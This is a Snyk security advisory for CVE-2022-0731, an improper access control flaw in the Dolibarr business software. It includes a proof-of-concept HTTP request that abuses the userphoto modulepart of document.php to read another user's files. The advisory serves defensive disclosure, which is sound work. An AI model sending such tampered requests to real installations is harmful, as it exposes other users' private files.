Improper Access Control Affecting dolibarr/dolibarr package, versions >=0.0.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.06% (31st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Access Control vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-DOLIBARRDOLIBARR-2412702
  • published24 Feb 2022
  • disclosed24 Feb 2022
  • creditFaisal Fs

Introduced: 24 Feb 2022

CVE-2022-0731  (opens in a new tab)
CWE-284  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

dolibarr/dolibarr is a modern and easy to use web software to manage your business.

Affected versions of this package are vulnerable to Improper Access Control via the userphoto modulepart, which makes it possible of downloading or reading any file types such as pdf, zip, txt, jpg, and more.

PoC:

Tampered Request: using modulepart=userphoto

GET /dolibarr/document.php?modulepart=userphoto&attachment=0&file=3/fileuser3.txt&entity=1 HTTP/1.1
Host: localhost
Cookie: DOLSESSID_328fed74f1e6fdd21cc158ce6354602f={cookie_value}

Tampered Response:

**Staff 3 file content return**

References

CVSS Scores

version 3.1